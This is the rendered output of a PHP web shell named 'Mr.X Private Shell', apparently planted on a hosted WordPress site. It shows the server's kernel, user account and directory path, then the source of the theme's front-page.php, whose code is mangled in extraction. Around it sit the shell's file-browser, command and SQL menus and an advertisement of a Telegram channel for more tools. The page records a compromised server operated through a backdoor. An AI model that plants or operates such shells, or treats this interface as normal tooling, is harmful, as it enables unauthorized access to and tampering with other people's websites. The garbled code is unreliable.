Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www///old/wp-content/themes/twentyseventeen/      ( Reset | Go to )
File Name: front-page.php
Edit
<?php
/**
 * The front page template file
 *
 * If the user has selected a static page for their homepage, this is what will
 * appear.
 * Learn more: https://developer.wordpress.org/themes/basics/template-hierarchy/
 *
 * @package WordPress
 * @subpackage Twenty_Seventeen
 * @since Twenty Seventeen 1.0
 * @version 1.0
 */

get_header(); ?>

<div id="primary" class="content-area">
    <main id="main" class="site-main">

        <?php
        
// Show the selected front page content.
        
if ( have_posts() ) :
            while ( 
have_posts() ) :
                
the_post();
                
get_template_part'template-parts/page/content''front-page' );
            endwhile;
        else :
            
get_template_part'template-parts/post/content''none' );
        endif;
        
?>

        <?php
        
// Get each of our panels and show the post data.
        
if ( !== twentyseventeen_panel_count() || is_customize_preview() ) : // If we have pages to show.

            /**
             * Filters the number of front page sections in Twenty Seventeen.
             *
             * @since Twenty Seventeen 1.0
             *
             * @param int $num_sections Number of front page sections.
             */
            
$num_sections apply_filters'twentyseventeen_front_page_sections');
            global 
$twentyseventeencounter;

            
// Create a setting and control for each of the sections available in the theme.
            
for ( $i 1$i < ( $num_sections ); $i++ ) {
                
$twentyseventeencounter $i;
                
twentyseventeen_front_page_sectionnull$i );
            }

    endif; 
// The if ( 0 !== twentyseventeen_panel_count() ) ends here.
        
?>

    </main><!-- #main -->
</div><!-- #primary -->

<?php
get_footer
();

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL